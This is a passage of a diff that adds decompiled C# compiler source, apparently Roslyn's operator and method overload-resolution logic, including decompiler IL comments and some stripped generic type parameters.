additionalOperators.GetEnumerator(); + while (enumerator.MoveNext()) + { + BinaryOperatorAnalysisResult current = enumerator.Current; + bool flag = false; + for (int i = 0; i < count; i++) + { + BinaryOperatorSignature signature = result[i].Signature; + if (current.Signature.Kind == signature.Kind && equalsIgnoringNullable(current.Signature.ReturnType, signature.ReturnType) && equalsIgnoringNullableAndDynamic(current.Signature.LeftType, signature.LeftType) && equalsIgnoringNullableAndDynamic(current.Signature.RightType, signature.RightType) && equalsIgnoringNullableAndDynamic(current.Signature.Method.ContainingType, signature.Method.ContainingType)) + { + flag = true; + break; + } + } + if (!flag) + { + result.Add(current); + } + } + static bool equalsIgnoringNullable(TypeSymbol a, TypeSymbol b) + { + return a.Equals(b, (TypeCompareKind)24); + } + static bool equalsIgnoringNullableAndDynamic(TypeSymbol a, TypeSymbol b) + { + return a.Equals(b, (TypeCompareKind)26); + } + } + + private bool GetUserDefinedOperators(BinaryOperatorKind kind, bool isChecked, TypeSymbol type0, BoundExpression left, BoundExpression right, ArrayBuilder results, ref CompoundUseSiteInfo useSiteInfo) + { + if ((object)type0 == null || OperatorFacts.DefinitelyHasNoUserDefinedOperators(type0)) + { + return false; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + bool result = false; + NamedTypeSymbol namedTypeSymbol = type0 as NamedTypeSymbol; + if ((object)namedTypeSymbol == null) + { + namedTypeSymbol = type0.BaseTypeWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + } + if ((object)namedTypeSymbol == null && type0.IsTypeParameter()) + { + namedTypeSymbol = ((TypeParameterSymbol)type0).EffectiveBaseClass(ref useSiteInfo); + } + while ((object)namedTypeSymbol != null) + { + instance.Clear(); + GetUserDefinedBinaryOperatorsFromType(null, namedTypeSymbol, kind, isChecked, instance); + results.Clear(); + if (CandidateOperators(isChecked, instance, left, right, results, ref useSiteInfo)) + { + result = true; + break; + } + namedTypeSymbol = namedTypeSymbol.BaseTypeWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + } + instance.Free(); + return result; + } + + private void GetUserDefinedBinaryOperatorsFromType(TypeSymbol constrainedToTypeOpt, NamedTypeSymbol type, BinaryOperatorKind kind, bool isChecked, ArrayBuilder operators) + { + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + string text = OperatorFacts.BinaryOperatorNameFromOperatorKind(kind, isChecked); + getDeclaredOperators(constrainedToTypeOpt, type, kind, text, operators); + if (isChecked && SyntaxFacts.IsCheckedOperator(text)) + { + string name = OperatorFacts.BinaryOperatorNameFromOperatorKind(kind, isChecked: false); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + getDeclaredOperators(constrainedToTypeOpt, type, kind, name, instance); + if (operators.Count != 0) + { + for (int num = instance.Count - 1; num >= 0; num--) + { + Enumerator enumerator = operators.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (SourceMemberContainerTypeSymbol.DoOperatorsPair(enumerator.Current.Method, instance[num].Method)) + { + instance.RemoveAt(num); + break; + } + } + } + } + operators.AddRange(instance); + instance.Free(); + } + addLiftedOperators(constrainedToTypeOpt, kind, operators); + void addLiftedOperators(TypeSymbol constrainedToTypeOpt2, BinaryOperatorKind binaryOperatorKind, ArrayBuilder val) + { + for (int num2 = val.Count - 1; num2 >= 0; num2--) + { + MethodSymbol method = val[num2].Method; + TypeSymbol parameterType = method.GetParameterType(0); + TypeSymbol parameterType2 = method.GetParameterType(1); + TypeSymbol returnType = method.ReturnType; + switch (UserDefinedBinaryOperatorCanBeLifted(parameterType, parameterType2, returnType, binaryOperatorKind)) + { + case LiftingResult.LiftOperandsAndResult: + val.Add(new BinaryOperatorSignature(BinaryOperatorKind.UserDefined | BinaryOperatorKind.Lifted | binaryOperatorKind, MakeNullable(parameterType), MakeNullable(parameterType2), MakeNullable(returnType), method, constrainedToTypeOpt2)); + break; + case LiftingResult.LiftOperandsButNotResult: + val.Add(new BinaryOperatorSignature(BinaryOperatorKind.UserDefined | BinaryOperatorKind.Lifted | binaryOperatorKind, MakeNullable(parameterType), MakeNullable(parameterType2), returnType, method, constrainedToTypeOpt2)); + break; + } + } + } + static void getDeclaredOperators(TypeSymbol constrainedToTypeOpt2, NamedTypeSymbol namedTypeSymbol, BinaryOperatorKind binaryOperatorKind, string name2, ArrayBuilder val) + { + ImmutableArray.Enumerator enumerator2 = namedTypeSymbol.GetOperators(name2).GetEnumerator(); + while (enumerator2.MoveNext()) + { + MethodSymbol current = enumerator2.Current; + if (current.ParameterCount == 2 && !current.ReturnsVoid) + { + TypeSymbol parameterType = current.GetParameterType(0); + TypeSymbol parameterType2 = current.GetParameterType(1); + TypeSymbol returnType = current.ReturnType; + val.Add(new BinaryOperatorSignature(BinaryOperatorKind.UserDefined | binaryOperatorKind, parameterType, parameterType2, returnType, current, constrainedToTypeOpt2)); + } + } + } + } + + private static LiftingResult UserDefinedBinaryOperatorCanBeLifted(TypeSymbol left, TypeSymbol right, TypeSymbol result, BinaryOperatorKind kind) + { + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Invalid comparison between Unknown and I4 + if (!left.IsValidNullableTypeArgument() || !right.IsValidNullableTypeArgument()) + { + return LiftingResult.NotLifted; + } + if (kind <= BinaryOperatorKind.GreaterThan) + { + if (kind != BinaryOperatorKind.Equal && kind != BinaryOperatorKind.NotEqual) + { + if (kind != BinaryOperatorKind.GreaterThan) + { + goto IL_0067; + } + } + else if (!TypeSymbol.Equals(left, right, (TypeCompareKind)0)) + { + return LiftingResult.NotLifted; + } + } + else if (kind != BinaryOperatorKind.LessThan && kind != BinaryOperatorKind.GreaterThanOrEqual && kind != BinaryOperatorKind.LessThanOrEqual) + { + goto IL_0067; + } + if ((int)result.SpecialType != 7) + { + return LiftingResult.NotLifted; + } + return LiftingResult.LiftOperandsButNotResult; + IL_0067: + if (!result.IsValidNullableTypeArgument()) + { + return LiftingResult.NotLifted; + } + return LiftingResult.LiftOperandsAndResult; + } + + private void BinaryOperatorOverloadResolution(BoundExpression left, BoundExpression right, BinaryOperatorOverloadResolutionResult result, ref CompoundUseSiteInfo useSiteInfo) + { + if (result.SingleValid()) + { + return; + } + ArrayBuilder results = result.Results; + int theBestCandidateIndex = GetTheBestCandidateIndex(left, right, results, ref useSiteInfo); + if (theBestCandidateIndex != -1) + { + for (int i = 0; i < results.Count; i++) + { + if (results[i].Kind != OperatorAnalysisResultKind.Inapplicable && i != theBestCandidateIndex) + { + results[i] = results[i].Worse(); + } + } + return; + } + for (int j = 1; j < results.Count; j++) + { + if (results[j].Kind != OperatorAnalysisResultKind.Applicable) + { + continue; + } + for (int k = 0; k < j; k++) + { + if (results[k].Kind != OperatorAnalysisResultKind.Inapplicable) + { + switch (BetterOperator(results[j].Signature, results[k].Signature, left, right, ref useSiteInfo)) + { + case BetterResult.Left: + results[k] = results[k].Worse(); + break; + case BetterResult.Right: + results[j] = results[j].Worse(); + break; + } + } + } + } + } + + private int GetTheBestCandidateIndex(BoundExpression left, BoundExpression right, ArrayBuilder candidates, ref CompoundUseSiteInfo useSiteInfo) + { + int num = -1; + for (int i = 0; i < candidates.Count; i++) + { + if (candidates[i].Kind != OperatorAnalysisResultKind.Applicable) + { + continue; + } + if (num == -1) + { + num = i; + continue; + } + switch (BetterOperator(candidates[num].Signature, candidates[i].Signature, left, right, ref useSiteInfo)) + { + case BetterResult.Right: + num = i; + break; + default: + num = -1; + break; + case BetterResult.Left: + break; + } + } + for (int j = 0; j < num; j++) + { + if (candidates[j].Kind != OperatorAnalysisResultKind.Inapplicable && BetterOperator(candidates[num].Signature, candidates[j].Signature, left, right, ref useSiteInfo) != BetterResult.Left) + { + return -1; + } + } + return num; + } + + private BetterResult BetterOperator(BinaryOperatorSignature op1, BinaryOperatorSignature op2, BoundExpression left, BoundExpression right, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_00ff: Unknown result type (might be due to invalid IL or missing references) + //IL_0116: Unknown result type (might be due to invalid IL or missing references) + //IL_0108: Unknown result type (might be due to invalid IL or missing references) + //IL_010e: Invalid comparison between Unknown and I4 + //IL_011f: Unknown result type (might be due to invalid IL or missing references) + //IL_0125: Invalid comparison between Unknown and I4 + //IL_012f: Unknown result type (might be due to invalid IL or missing references) + //IL_014c: Unknown result type (might be due to invalid IL or missing references) + //IL_0138: Unknown result type (might be due to invalid IL or missing references) + //IL_013e: Invalid comparison between Unknown and I4 + //IL_0155: Unknown result type (might be due to invalid IL or missing references) + //IL_015b: Invalid comparison between Unknown and I4 + if (op1.Priority.HasValue && op1.Priority.GetValueOrDefault() != op2.Priority.GetValueOrDefault()) + { + if (op1.Priority.GetValueOrDefault() >= op2.Priority.GetValueOrDefault()) + { + return BetterResult.Right; + } + return BetterResult.Left; + } + BetterResult betterResult = BetterConversionFromExpression(left, op1.LeftType, op2.LeftType, ref useSiteInfo); + BetterResult betterResult2 = BetterConversionFromExpression(right, op1.RightType, op2.RightType, ref useSiteInfo); + if ((betterResult == BetterResult.Left && betterResult2 != BetterResult.Right) || (betterResult != BetterResult.Right && betterResult2 == BetterResult.Left)) + { + return BetterResult.Left; + } + if ((betterResult == BetterResult.Right && betterResult2 != BetterResult.Left) || (betterResult != BetterResult.Left && betterResult2 == BetterResult.Right)) + { + return BetterResult.Right; + } + if (ConversionsBase.HasIdentityConversion(op1.LeftType, op2.LeftType) && ConversionsBase.HasIdentityConversion(op1.RightType, op2.RightType)) + { + BetterResult betterResult3 = MoreSpecificOperator(op1, op2, ref useSiteInfo); + if (betterResult3 == BetterResult.Left || betterResult3 == BetterResult.Right) + { + return betterResult3; + } + bool flag = op1.Kind.IsLifted(); + bool flag2 = op2.Kind.IsLifted(); + if (flag && !flag2) + { + return BetterResult.Right; + } + if (!flag && flag2) + { + return BetterResult.Left; + } + } + BetterResult betterResult4 = (((int)op1.LeftRefKind != 0 || (int)op2.LeftRefKind != 3) ? (((int)op2.LeftRefKind == 0 && (int)op1.LeftRefKind == 3) ? BetterResult.Right : BetterResult.Neither) : BetterResult.Left); + if ((int)op1.RightRefKind == 0 && (int)op2.RightRefKind == 3) + { + if (betterResult4 == BetterResult.Right) + { + return BetterResult.Neither; + } + betterResult4 = BetterResult.Left; + } + else if ((int)op2.RightRefKind == 0 && (int)op1.RightRefKind == 3) + { + if (betterResult4 == BetterResult.Left) + { + return BetterResult.Neither; + } + betterResult4 = BetterResult.Right; + } + return betterResult4; + } + + private BetterResult MoreSpecificOperator(BinaryOperatorSignature op1, BinaryOperatorSignature op2, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_00c6: Unknown result type (might be due to invalid IL or missing references) + //IL_00cb: Unknown result type (might be due to invalid IL or missing references) + //IL_00cd: Unknown result type (might be due to invalid IL or missing references) + //IL_00d2: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol typeSymbol; + TypeSymbol typeSymbol2; + if ((object)op1.Method != null) + { + ImmutableArray parameters = op1.Method.OriginalDefinition.GetParameters(); + typeSymbol = parameters[0].Type; + typeSymbol2 = parameters[1].Type; + if (op1.Kind.IsLifted()) + { + typeSymbol = MakeNullable(typeSymbol); + typeSymbol2 = MakeNullable(typeSymbol2); + } + } + else + { + typeSymbol = op1.LeftType; + typeSymbol2 = op1.RightType; + } + TypeSymbol typeSymbol3; + TypeSymbol typeSymbol4; + if ((object)op2.Method != null) + { + ImmutableArray parameters2 = op2.Method.OriginalDefinition.GetParameters(); + typeSymbol3 = parameters2[0].Type; + typeSymbol4 = parameters2[1].Type; + if (op2.Kind.IsLifted()) + { + typeSymbol3 = MakeNullable(typeSymbol3); + typeSymbol4 = MakeNullable(typeSymbol4); + } + } + else + { + typeSymbol3 = op2.LeftType; + typeSymbol4 = op2.RightType; + } + TemporaryArray empty = TemporaryArray.Empty; + try + { + TemporaryArray empty2 = TemporaryArray.Empty; + try + { + empty.Add(typeSymbol); + empty.Add(typeSymbol2); + empty2.Add(typeSymbol3); + empty2.Add(typeSymbol4); + return MoreSpecificType(ref TemporaryArrayExtensions.AsRef(ref empty), ref TemporaryArrayExtensions.AsRef(ref empty2), ref useSiteInfo); + } + finally + { + ((IDisposable)empty2/*cast due to constrained. prefix*/).Dispose(); + } + } + finally + { + ((IDisposable)empty/*cast due to constrained. prefix*/).Dispose(); + } + } + + [Conditional("DEBUG")] + private static void AssertNotChecked(BinaryOperatorKind kind) + { + } + + private void UnaryOperatorEasyOut(UnaryOperatorKind kind, BoundExpression operand, UnaryOperatorOverloadResolutionResult result) + { + TypeSymbol type = operand.Type; + if ((object)type != null) + { + UnaryOperatorKind unaryOperatorKind = UnopEasyOut.OpKind(kind, type); + if (unaryOperatorKind != UnaryOperatorKind.Error) + { + UnaryOperatorSignature signature = Compilation.builtInOperators.GetSignature(unaryOperatorKind); + Conversion? conversion = ConversionsBase.FastClassifyConversion(type, signature.OperandType); + result.Results.Add(UnaryOperatorAnalysisResult.Applicable(signature, conversion.Value)); + } + } + } + + private NamedTypeSymbol MakeNullable(TypeSymbol type) + { + return Compilation.GetSpecialType((SpecialType)32).Construct(type); + } + + public void UnaryOperatorOverloadResolution(UnaryOperatorKind kind, bool isChecked, BoundExpression operand, UnaryOperatorOverloadResolutionResult result, ref CompoundUseSiteInfo useSiteInfo) + { + UnaryOperatorEasyOut(kind, operand, result); + if (result.Results.Count <= 0) + { + if (!GetUserDefinedOperators(kind, isChecked, operand, result.Results, ref useSiteInfo)) + { + result.Results.Clear(); + GetAllBuiltInOperators(kind, isChecked, operand, result.Results, ref useSiteInfo); + } + UnaryOperatorOverloadResolution(operand, result, ref useSiteInfo); + } + } + + private void UnaryOperatorOverloadResolution(BoundExpression operand, UnaryOperatorOverloadResolutionResult result, ref CompoundUseSiteInfo useSiteInfo) + { + if (result.SingleValid()) + { + return; + } + ArrayBuilder results = result.Results; + int theBestCandidateIndex = GetTheBestCandidateIndex(operand, results, ref useSiteInfo); + if (theBestCandidateIndex != -1) + { + for (int i = 0; i < results.Count; i++) + { + if (results[i].Kind != OperatorAnalysisResultKind.Inapplicable && i != theBestCandidateIndex) + { + results[i] = results[i].Worse(); + } + } + return; + } + for (int j = 1; j < results.Count; j++) + { + if (results[j].Kind != OperatorAnalysisResultKind.Applicable) + { + continue; + } + for (int k = 0; k < j; k++) + { + if (results[k].Kind != OperatorAnalysisResultKind.Inapplicable) + { + switch (BetterOperator(results[j].Signature, results[k].Signature, operand, ref useSiteInfo)) + { + case BetterResult.Left: + results[k] = results[k].Worse(); + break; + case BetterResult.Right: + results[j] = results[j].Worse(); + break; + } + } + } + } + } + + private int GetTheBestCandidateIndex(BoundExpression operand, ArrayBuilder candidates, ref CompoundUseSiteInfo useSiteInfo) + { + int num = -1; + for (int i = 0; i < candidates.Count; i++) + { + if (candidates[i].Kind != OperatorAnalysisResultKind.Applicable) + { + continue; + } + if (num == -1) + { + num = i; + continue; + } + switch (BetterOperator(candidates[num].Signature, candidates[i].Signature, operand, ref useSiteInfo)) + { + case BetterResult.Right: + num = i; + break; + default: + num = -1; + break; + case BetterResult.Left: + break; + } + } + for (int j = 0; j < num; j++) + { + if (candidates[j].Kind != OperatorAnalysisResultKind.Inapplicable && BetterOperator(candidates[num].Signature, candidates[j].Signature, operand, ref useSiteInfo) != BetterResult.Left) + { + return -1; + } + } + return num; + } + + private BetterResult BetterOperator(UnaryOperatorSignature op1, UnaryOperatorSignature op2, BoundExpression operand, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Invalid comparison between Unknown and I4 + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Invalid comparison between Unknown and I4 + BetterResult betterResult = BetterConversionFromExpression(operand, op1.OperandType, op2.OperandType, ref useSiteInfo); + if (betterResult == BetterResult.Left || betterResult == BetterResult.Right) + { + return betterResult; + } + if (ConversionsBase.HasIdentityConversion(op1.OperandType, op2.OperandType)) + { + bool flag = op1.Kind.IsLifted(); + bool flag2 = op2.Kind.IsLifted(); + if (flag && !flag2) + { + return BetterResult.Right; + } + if (!flag && flag2) + { + return BetterResult.Left; + } + } + if ((int)op1.RefKind == 0 && (int)op2.RefKind == 3) + { + return BetterResult.Left; + } + if ((int)op2.RefKind == 0 && (int)op1.RefKind == 3) + { + return BetterResult.Right; + } + return BetterResult.Neither; + } + + private void GetAllBuiltInOperators(UnaryOperatorKind kind, bool isChecked, BoundExpression operand, ArrayBuilder results, ref CompoundUseSiteInfo useSiteInfo) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + Compilation.builtInOperators.GetSimpleBuiltInOperators(kind, instance, !operand.Type.IsNativeIntegerOrNullableThereof()); + GetEnumOperations(kind, operand, instance); + UnaryOperatorSignature? pointerOperation = GetPointerOperation(kind, operand); + if (pointerOperation.HasValue) + { + instance.Add(pointerOperation.Value); + } + CandidateOperators(isChecked, instance, operand, results, ref useSiteInfo); + instance.Free(); + } + + private bool CandidateOperators(bool isChecked, ArrayBuilder operators, BoundExpression operand, ArrayBuilder results, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + bool result = false; + Enumerator enumerator = operators.GetEnumerator(); + while (enumerator.MoveNext()) + { + UnaryOperatorSignature current = enumerator.Current; + Conversion conversion = Conversions.ClassifyConversionFromExpression(operand, current.OperandType, isChecked, ref useSiteInfo); + if (conversion.IsImplicit) + { + result = true; + results.Add(UnaryOperatorAnalysisResult.Applicable(current, conversion)); + } + else + { + results.Add(UnaryOperatorAnalysisResult.Inapplicable(current, conversion)); + } + } + return result; + } + + private void GetEnumOperations(UnaryOperatorKind kind, BoundExpression operand, ArrayBuilder operators) + { + TypeSymbol type = operand.Type; + if ((object)type == null) + { + return; + } + type = type.StrippedType(); + if (type.IsValidEnumType()) + { + NamedTypeSymbol orCreateNullableType = Compilation.GetOrCreateNullableType(type); + switch (kind) + { + case UnaryOperatorKind.PostfixIncrement: + case UnaryOperatorKind.PostfixDecrement: + case UnaryOperatorKind.PrefixIncrement: + case UnaryOperatorKind.PrefixDecrement: + case UnaryOperatorKind.BitwiseComplement: + operators.Add(new UnaryOperatorSignature(kind | UnaryOperatorKind.Enum, type, type)); + operators.Add(new UnaryOperatorSignature(kind | UnaryOperatorKind.Lifted | UnaryOperatorKind.Enum, orCreateNullableType, orCreateNullableType)); + break; + } + } + } + + private static UnaryOperatorSignature? GetPointerOperation(UnaryOperatorKind kind, BoundExpression operand) + { + if (!(operand.Type is PointerTypeSymbol pointerTypeSymbol)) + { + return null; + } + UnaryOperatorSignature? result = null; + switch (kind) + { + case UnaryOperatorKind.PostfixIncrement: + case UnaryOperatorKind.PostfixDecrement: + case UnaryOperatorKind.PrefixIncrement: + case UnaryOperatorKind.PrefixDecrement: + result = new UnaryOperatorSignature(kind | UnaryOperatorKind.Pointer, pointerTypeSymbol, pointerTypeSymbol); + break; + } + return result; + } + + private bool GetUserDefinedOperators(UnaryOperatorKind kind, bool isChecked, BoundExpression operand, ArrayBuilder results, ref CompoundUseSiteInfo useSiteInfo) + { + if ((object)operand.Type == null) + { + return false; + } + TypeSymbol typeSymbol = operand.Type.StrippedType(); + TypeSymbol constrainedToTypeOpt = typeSymbol as TypeParameterSymbol; + if (OperatorFacts.DefinitelyHasNoUserDefinedOperators(typeSymbol)) + { + return false; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + bool flag = false; + NamedTypeSymbol namedTypeSymbol = typeSymbol as NamedTypeSymbol; + if ((object)namedTypeSymbol == null) + { + namedTypeSymbol = typeSymbol.BaseTypeWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + } + if ((object)namedTypeSymbol == null && typeSymbol.IsTypeParameter()) + { + namedTypeSymbol = ((TypeParameterSymbol)typeSymbol).EffectiveBaseClass(ref useSiteInfo); + } + while ((object)namedTypeSymbol != null) + { + instance.Clear(); + GetUserDefinedUnaryOperatorsFromType(constrainedToTypeOpt, namedTypeSymbol, kind, isChecked, instance); + results.Clear(); + if (CandidateOperators(isChecked, instance, operand, results, ref useSiteInfo)) + { + flag = true; + break; + } + namedTypeSymbol = namedTypeSymbol.BaseTypeWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + } + if (!flag) + { + ImmutableArray immutableArray = default(ImmutableArray); + if (typeSymbol.IsInterfaceType()) + { + immutableArray = typeSymbol.AllInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + } + else if (typeSymbol.IsTypeParameter()) + { + immutableArray = ((TypeParameterSymbol)typeSymbol).AllEffectiveInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + } + if (!immutableArray.IsDefaultOrEmpty) + { + PooledHashSet instance2 = PooledHashSet.GetInstance(); + ArrayBuilder instance3 = ArrayBuilder.GetInstance(); + results.Clear(); + ImmutableArray.Enumerator enumerator = immutableArray.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + if (current.IsInterface && !((HashSet)(object)instance2).Contains(current)) + { + instance.Clear(); + instance3.Clear(); + GetUserDefinedUnaryOperatorsFromType(constrainedToTypeOpt, current, kind, isChecked, instance); + if (CandidateOperators(isChecked, instance, operand, instance3, ref useSiteInfo)) + { + flag = true; + results.AddRange(instance3); + ISetExtensions.AddAll((ISet)instance2, current.AllInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo)); + } + } + } + instance2.Free(); + instance3.Free(); + } + } + instance.Free(); + return flag; + } + + private void GetUserDefinedUnaryOperatorsFromType(TypeSymbol constrainedToTypeOpt, NamedTypeSymbol type, UnaryOperatorKind kind, bool isChecked, ArrayBuilder operators) + { + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + string text = OperatorFacts.UnaryOperatorNameFromOperatorKind(kind, isChecked); + getDeclaredOperators(constrainedToTypeOpt, type, kind, text, operators); + if (isChecked && SyntaxFacts.IsCheckedOperator(text)) + { + string name = OperatorFacts.UnaryOperatorNameFromOperatorKind(kind, isChecked: false); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + getDeclaredOperators(constrainedToTypeOpt, type, kind, name, instance); + if (operators.Count != 0) + { + for (int num = instance.Count - 1; num >= 0; num--) + { + Enumerator enumerator = operators.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (SourceMemberContainerTypeSymbol.DoOperatorsPair(enumerator.Current.Method, instance[num].Method)) + { + instance.RemoveAt(num); + break; + } + } + } + } + operators.AddRange(instance); + instance.Free(); + } + addLiftedOperators(constrainedToTypeOpt, kind, operators); + void addLiftedOperators(TypeSymbol constrainedToTypeOpt2, UnaryOperatorKind unaryOperatorKind, ArrayBuilder val) + { + switch (unaryOperatorKind) + { + case UnaryOperatorKind.PostfixIncrement: + case UnaryOperatorKind.PostfixDecrement: + case UnaryOperatorKind.PrefixIncrement: + case UnaryOperatorKind.PrefixDecrement: + case UnaryOperatorKind.UnaryPlus: + case UnaryOperatorKind.UnaryMinus: + case UnaryOperatorKind.LogicalNegation: + case UnaryOperatorKind.BitwiseComplement: + { + for (int num2 = val.Count - 1; num2 >= 0; num2--) + { + MethodSymbol method = val[num2].Method; + TypeSymbol parameterType = method.GetParameterType(0); + TypeSymbol returnType = method.ReturnType; + if (parameterType.IsValidNullableTypeArgument() && returnType.IsValidNullableTypeArgument()) + { + val.Add(new UnaryOperatorSignature(UnaryOperatorKind.UserDefined | UnaryOperatorKind.Lifted | unaryOperatorKind, MakeNullable(parameterType), MakeNullable(returnType), method, constrainedToTypeOpt2)); + } + } + break; + } + } + } + static void getDeclaredOperators(TypeSymbol constrainedToTypeOpt2, NamedTypeSymbol namedTypeSymbol, UnaryOperatorKind unaryOperatorKind, string name2, ArrayBuilder val) + { + ImmutableArray.Enumerator enumerator2 = namedTypeSymbol.GetOperators(name2).GetEnumerator(); + while (enumerator2.MoveNext()) + { + MethodSymbol current = enumerator2.Current; + if (current.ParameterCount == 1 && !current.ReturnsVoid) + { + TypeSymbol parameterType = current.GetParameterType(0); + TypeSymbol returnType = current.ReturnType; + val.Add(new UnaryOperatorSignature(UnaryOperatorKind.UserDefined | unaryOperatorKind, parameterType, returnType, current, constrainedToTypeOpt2)); + } + } + } + } + + public OverloadResolution(Binder binder) + { + _binder = binder; + } + + private static bool AnyValidResult(ArrayBuilder> results) where TMember : Symbol + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + Enumerator> enumerator = results.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.IsValid) + { + return true; + } + } + return false; + } + + private static bool SingleValidResult(ArrayBuilder> results) where TMember : Symbol + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + bool flag = false; + Enumerator> enumerator = results.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.IsValid) + { + if (flag) + { + return false; + } + flag = true; + } + } + return flag; + } + + public void ObjectCreationOverloadResolution(ImmutableArray constructors, AnalyzedArguments arguments, OverloadResolutionResult result, ref CompoundUseSiteInfo useSiteInfo) + { + ArrayBuilder> resultsBuilder = result.ResultsBuilder; + PerformObjectCreationOverloadResolution(resultsBuilder, constructors, arguments, completeResults: false, ref useSiteInfo); + if (!OverloadResolutionResultIsValid(resultsBuilder, arguments.HasDynamicArgument)) + { + result.Clear(); + PerformObjectCreationOverloadResolution(resultsBuilder, constructors, arguments, completeResults: true, ref useSiteInfo); + } + } + + public void MethodInvocationOverloadResolution(ArrayBuilder methods, ArrayBuilder typeArguments, BoundExpression receiver, AnalyzedArguments arguments, OverloadResolutionResult result, ref CompoundUseSiteInfo useSiteInfo, bool isMethodGroupConversion = false, bool allowRefOmittedArguments = false, bool inferWithDynamic = false, bool allowUnexpandedForm = true, RefKind returnRefKind = (RefKind)0, TypeSymbol returnType = null, bool isFunctionPointerResolution = false, bool isExtensionMethodResolution = false, in CallingConventionInfo callingConventionInfo = default(CallingConventionInfo)) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + MethodOrPropertyOverloadResolution(methods, typeArguments, receiver, arguments, result, isMethodGroupConversion, allowRefOmittedArguments, ref useSiteInfo, inferWithDynamic, allowUnexpandedForm, returnRefKind, returnType, isFunctionPointerResolution, isExtensionMethodResolution, in callingConventionInfo); + } + + public void PropertyOverloadResolution(ArrayBuilder indexers, BoundExpression receiverOpt, AnalyzedArguments arguments, OverloadResolutionResult result, bool allowRefOmittedArguments, ref CompoundUseSiteInfo useSiteInfo) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + MethodOrPropertyOverloadResolution(indexers, instance, receiverOpt, arguments, result, isMethodGroupConversion: false, allowRefOmittedArguments, ref useSiteInfo, inferWithDynamic: false, allowUnexpandedForm: true, (RefKind)0, null, isFunctionPointerResolution: false, isExtensionMethodResolution: false, default(CallingConventionInfo)); + instance.Free(); + } + + internal void MethodOrPropertyOverloadResolution(ArrayBuilder members, ArrayBuilder typeArguments, BoundExpression receiver, AnalyzedArguments arguments, OverloadResolutionResult result, bool isMethodGroupConversion, bool allowRefOmittedArguments, ref CompoundUseSiteInfo useSiteInfo, bool inferWithDynamic = false, bool allowUnexpandedForm = true, RefKind returnRefKind = (RefKind)0, TypeSymbol returnType = null, bool isFunctionPointerResolution = false, bool isExtensionMethodResolution = false, in CallingConventionInfo callingConventionInfo = default(CallingConventionInfo)) where TMember : Symbol + { + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder> resultsBuilder = result.ResultsBuilder; + bool checkOverriddenOrHidden = !isExtensionMethodResolution || !ArrayBuilderExtensions.All(members, (Func)((TMember m) => m.ContainingSymbol is NamedTypeSymbol { BaseTypeNoUseSiteDiagnostics: { } baseTypeNoUseSiteDiagnostics } && (int)baseTypeNoUseSiteDiagnostics.SpecialType == 1)); + PerformMemberOverloadResolution(resultsBuilder, members, typeArguments, receiver, arguments, completeResults: false, isMethodGroupConversion, returnRefKind, returnType, allowRefOmittedArguments, isFunctionPointerResolution, in callingConventionInfo, ref useSiteInfo, inferWithDynamic, allowUnexpandedForm, checkOverriddenOrHidden); + if (!OverloadResolutionResultIsValid(resultsBuilder, arguments.HasDynamicArgument)) + { + result.Clear(); + PerformMemberOverloadResolution(resultsBuilder, members, typeArguments, receiver, arguments, completeResults: true, isMethodGroupConversion, returnRefKind, returnType, allowRefOmittedArguments, isFunctionPointerResolution, in callingConventionInfo, ref useSiteInfo, inferWithDynamic: false, allowUnexpandedForm, checkOverriddenOrHidden); + } + } + + private static bool OverloadResolutionResultIsValid(ArrayBuilder> results, bool hasDynamicArgument) where TMember : Symbol + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + if (hasDynamicArgument) + { + Enumerator> enumerator = results.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.Result.IsApplicable) + { + return true; + } + } + return false; + } + return SingleValidResult(results); + } + + private void PerformMemberOverloadResolution(ArrayBuilder> results, ArrayBuilder members, ArrayBuilder typeArguments, BoundExpression receiver, AnalyzedArguments arguments, bool completeResults, bool isMethodGroupConversion, RefKind returnRefKind, TypeSymbol returnType, bool allowRefOmittedArguments, bool isFunctionPointerResolution, in CallingConventionInfo callingConventionInfo, ref CompoundUseSiteInfo useSiteInfo, bool inferWithDynamic, bool allowUnexpandedForm, bool checkOverriddenOrHidden) where TMember : Symbol + { + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL 